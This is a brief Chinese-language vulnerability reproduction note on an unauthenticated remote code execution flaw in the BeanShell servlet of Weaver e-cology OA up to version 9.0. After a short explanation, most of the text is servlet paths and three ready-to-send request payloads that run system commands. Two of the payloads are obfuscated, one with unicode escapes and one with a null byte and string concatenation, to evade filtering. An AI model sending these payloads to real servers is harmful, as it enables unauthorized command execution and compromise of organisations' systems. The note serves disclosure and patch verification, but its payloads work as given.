0x00 漏洞原理
該漏洞位於 e-cology OA系統BeanShell組件中，並且該組件允許未授權訪問，攻擊者可通過訪問該組件執行任意的Java代碼，導致遠程命令執行。
0x01影響版本
泛微 e-cology<=9.0
0x02復現
可能的路徑
/weaver/bsh.servlet.BshServlet
/weaveroa/bsh.servlet.BshServlet
/oa/bsh.servlet.BshServlet
payload：
bsh.script=exec("whoami");&bsh.servlet.output=raw
bsh.script=\u0065\u0078\u0065\u0063("whoami");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw
bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter(\\"command\\"))");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami
0x03參考
https://github.com/myzing00/Vulnerability-analysis/tree/master/0917/weaver-oa/CNVD-2019-32204